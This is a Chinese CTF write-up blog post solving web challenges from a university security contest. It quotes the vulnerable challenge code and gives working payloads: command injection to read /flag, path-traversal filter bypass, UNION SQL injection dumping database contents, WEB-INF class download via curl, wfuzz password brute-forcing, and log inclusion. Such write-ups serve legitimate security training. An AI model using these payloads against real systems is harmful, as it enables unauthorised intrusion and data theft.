商丘师范学院第四届网络安全及信息对抗大赛(校外赛)

WEB

RceMe

1
2
3
4
5
6
7
<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
system($command);
} else {
print("你小子干什么呢?");
}

com传参,并且传入的参数需要 <=5

payload :http://challenge.qsnctf.com:32123/?com=nl /*


ezGame

前端小游戏

解法一

找到getflag()函数

1
2
3
4
5
6
7
8
9
getFlag: function() {
var req = new XMLHttpRequest;
req.open("GET","flag.php?score="+obj.score,true);
req.onload = function() {
alert(this.responseText);
}
req.send();
}
}

从代码中看到通过get方法打开flag.php并进行传参将会得到flag。

解法二

通过控制台直接对score进行赋值,然后执行getFlag()


Ping

一个ping程序,不可以执行奇奇怪怪的命令哦

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];

if (strpos($ip, ';') !== false) {
die('Hacker detected!');
}

system("ping -c 1 " . $ip);
} else {

highlight_file(__FILE__);
}
?>

传ip,但是不能有;。我们还可以使用&(%26)、%0a、||等

payload: ?ip=%0acat /flag


Are you from SQNU?

这是一道考察HTTP知识点的题目,抓一下包。

让我们使用POST 方法

传入hhh=abc

这个页面必须从https://sqnu-tysec.com来。设置一下referer

设置UA为TYsecBrowser

不是本地人?设置一下XFF欸。

让我们设置cookie: user=admin

OK,通过层层关卡,终于拿到flag!


Through

进入题目后,在主页面有一些描述

点击Click to see 能够得到url参数

看起来有可能是文件包含?

存在文件包含,经过尝试是把../ 替换为了空。但只有一次替换,所以我们可以使用这种方式绕过:..././ ,如此第一个../被替换为空后就只剩.拼接后面的./变成了需要的../

payload: index.php?file=..././..././..././..././..././..././..././..././..././..././..././..././..././..././flag


File_download

登录框,存在一个help.txt

点击后跳转到help.jsp

Servlet?会不会存在WEB-INF泄露呢?

访问/DownloadServlet给了提示,需要传参

传参是filename

通过报错获取到路径

com.ctf.file.DownloadServlet

那么我们需要查看一下WEB-INF下的web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<web-app xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" version="2.5">
<display-name>JavaTest2</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.ctf.file.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagManager</servlet-name>
<servlet-class>com.ctf.flag.FlagManager</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagManager</servlet-name>
<url-pattern>/FlagManager</url-pattern>
</servlet-mapping>
</web-app>

存在一个/FlagManager路由,我们访问一下。

http://challenge.qsnctf.com:31780/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class

直接访问的话是无法下载的。

使用post下载

curl -X POST "http://challenge.qsnctf.com:31780/DownloadServlet" -d "filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class" -o 1.class

然后拉入IDEA看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

package com.ctf.flag;

import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;

public class FlagManager extends HttpServlet {
public FlagManager() {
} //构造函数

public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("Please input your flag: ");
String str = sc.next();
System.out.println("Your input is: ");
System.out.println(str);
char[] stringArr = str.toCharArray();
Encrypt(stringArr);
}//main方法,将输入的字符串转为字节数组使用Encrypt方法加密

public static void Encrypt(char[] arr) {
ArrayList<Integer> Resultlist = new ArrayList();

for(int i = 0; i < arr.length; ++i) {
int result = arr[i] + 38 ^ 48;
Resultlist.add(result);
}//做了一个加密:+38^48

int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
ArrayList<Integer> Keylist = new ArrayList();

for(int j = 0; j < key.length; ++j) {
Keylist.add(key[j]);
}

System.out.println("Result: ");
if (Resultlist.equals(Keylist)) {
System.out.println("Congratulations! ");
} else {
System.out.println("Error! ");
}

}
}

那么我们写脚本逆一下就行了^48-38

1
2
3
4
5
6
7
8
9
key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]

flag=[]

for k in key:
decrypted_key = (k ^ 48) - 38
flag.append(chr(decrypted_key))

print(f"FLAG: {''.join(flag)}")


商师一日游

访问/atc1acrd.html

查看source?应该是源代码。

获取一部分flag哈哈flag{a 与一个新的页面atc2cnzd.php

构造一块曲奇饼? cookie: fish=strong

8f3batc3oklm.php

看一下响应包

37634datc4zztg.php

a47e4aaatc5uupl.php

1
2
3
4
5
6
7
8
9
10
11
12
$a=$_GET['hhh'];
if(preg_match('/^php$/im', $a)){//必须以php开头,忽略大小写且支持多行模式
if(preg_match('/^php$/i', $a)){//必须php开头,且忽略大小写,但此处如果以php开头则会输出 hacker
echo 'hacker';
}
else{
echo xxxxxxxxxxx;
}
}
else{
echo 'nonononono';
}

代码很简单啦,使用换行就行。

payload ?hhh=%0aphp

8146b701atc6ertg.php

由于前端代码的缘故无法点击,修改前端代码。

可以给disabled删了

c97c5

rce,来找flag在哪吧。

payload: memory=system('cat Tourist_fragment7 ');

flag: flag{a8f3b37634da47e4aa8146b701c97c5b}


小小查询系统

sql注入。

爆字段

?id=1' order by 4--+

字段为3

爆库名

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctf'--+

爆列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctf' and table_name='flag'--+

爆值

?id=-1' union select 1,group_concat(value),3 from ctf.flag--+


baby include

文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
if(isset($_GET['look'])){
// Great, it's the file inclusion master, we have a save !!!
$look = $_GET['look'];
$look = str_replace("php", "!!!", $look);
$look = str_replace("data", "!!!", $look);
$look = str_replace("filter", "!!!", $look);
$look = str_replace("input", "!!!", $look);
include($look);
}else{
highlight_file(__FILE__);
}

?>

过滤的确实有点多的,但是少了日志。

nginx服务器,尝试日志包含。

读取flag


Input a number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['sqctf'])){
$num = $_GET['sqctf'];
if($num==114514){
die("逸一时, 误一世!");
}//不能是114514
if(intval($num,0)==114514){
echo $flag;
}else{
echo "看看你输入的数字: ".intval($num,0);
}
}

?>

考察点是php中的intval特性。

这里可以用小数绕过。


My Blog

进入博客点击下功能点

点击GitHub会跳转到一个pdf

最下面有一个账号密码admin:secret123

访问robots.txt得到登录界面

登录成功获得flag


Upload_Level1

文件上传,抓包看看什么过滤。

看起来没过滤。。

那么上传木马。


Upload_Level2

成功上传。


baby rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);

$token = false;
if(isset($param1) && isset($param2)){
if(sha1($param1) == sha1($param2)){
$token = true;
echo "Level 1 pass\n";
}
}

class TYctf{
public $person = 20;
public $computer_number = 30;

function getNumber(){
if(isset($this->person)) {
echo $this->person;
}
}
function isFullUse(){
if($this->person != $this->computer_number){
echo "computer is lacking !!!\n";
}
else{
echo "computer is enough !!!\n";
}
}
static function getKey(){
include ("flag.php");
echo "Level 2 pass\n";
echo "You are winner, this is your reward: \n";
echo $flag;
}
}

if($token){
call_user_func($_POST['payload']);
}

?>

需要调用TYctf类中的静态函数getkey去包含flag.php

extract($_GET);会将GET数组中的键作为变量名,值作为变量值。

首先我们需要让$tokentrue从而能够执行call_user_func来调用我们的TYctf::getkey

payload :

GET:?param1[]=1&param2[]=2

POST: payload=TYctf::getKey


无参之舞

源代码中有提示

进行爆破。

wfuzz -c -u "http://challenge.qsnctf.com:31788/" -d "username=sqctf&password=FUZZ" -w /usr/share/wordlists/fuzzDicts-master/passwordDict/top3000.txt --hh 4515

密码1q2w3e4r

readfile('index.php');

直接读flag。readfile('f1ag.php');

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
if (isset($_GET['exp'])) {
// 防止直接文件包含
if (preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
die("别想读flag");
}
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log|read|file|dir|open|scandir|var|loc|conv|rot/i', $_GET['exp'])){
die("不可以哒!");
}
// 防止直接函数调用
if (preg_match('/[a-zA-Z_]+ $/', $_GET['exp'])) {
die("再好好想想!");
}

// 防止敏感函数调用
$forbidden_functions = [
'eval', 'assert', 'create_function', 'call_user_func', 'call_user_func_array', 'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec', 'pcntl_fork', 'pcntl_waitpid', 'pcntl_wait','pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'highlight_file', 'readgzfile', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'preg_replace', 'ereg_replace', 'str_replace', 'strtr', 'str_rot13', 'base64_decode', 'urldecode', 'chr', 'ord', 'unpack', 'pack', 'gzinflate', 'gzuncompress', 'gzdecode', 'array_shift', 'show_source'
];

foreach ($forbidden_functions as $func) {
if (stripos($_GET['exp'], $func) !== false) {
die("还差一点哦!");
}
}

// 防止正则表达式绕过
if (preg_match('/preg_replace|ereg_replace/i', $_GET['exp'])) {
die("再好好想想!");
}
if (preg_match('/\$\w+|\b(eval|exec|system|shell_exec|passthru)\b/', $_GET['exp'])) {
die("非法输入!");
}
// 防止字符串拼接绕过
if (preg_match('/\.\s*[a-zA-Z_]+\s* $/', $_GET['exp'])) {
die("再好好想想!");
}
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
die("缺少了一点东西哦");
}
// 防止变量函数调用
if (preg_match('/\$\w+\s* $/', $_GET['exp'])) {
die("再好好想想!");
}

// 如果通过以上检查,则执行代码
@eval($_GET['exp']);
} else {
echo "请输入参数 exp 来尝试获取 flag!";
}

?>


千查万别

随便输入后看url,有文件读取

查看响应头发现是python,尝试读取/proc/1/environ

emmm,这个应该是非预期,官方wp还没出这个时候。


eeaassyy

查看源代码就有


php反序列化 字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload){
$black_list=array("flag","php");
return str_replace($black_list,"stop",$payload);
}
class test{
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user){
$this->user=$user;
}
}

$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
echo "逃出来了, 恭喜恭喜<br>";
echo $flag;
}
?>

传入的序列化数据会先通过filter函数进行替换,然后再进入反序列化函数。然后反序列化后的对象中的pswd值需要为excaping

这道题不理解考点,完全不需要逃。只需要改一下pswd的值即可。

exp

1
2
3
4
5
6
<?php 
class test{
var $pswd = 'escaping';
}
$a = new test();
echo serialize($a);

O:4:"test":1:{s:4:"pswd";s:8:"escaping";}


商丘师范学院第四届网络安全及信息对抗大赛(校外赛)
https://r3bir7hcx.github.io/2025/04/23/商丘师范学院第四届网络安全及信息对抗大赛/
Author
CXCX
Posted on
April 23, 2025
Licensed under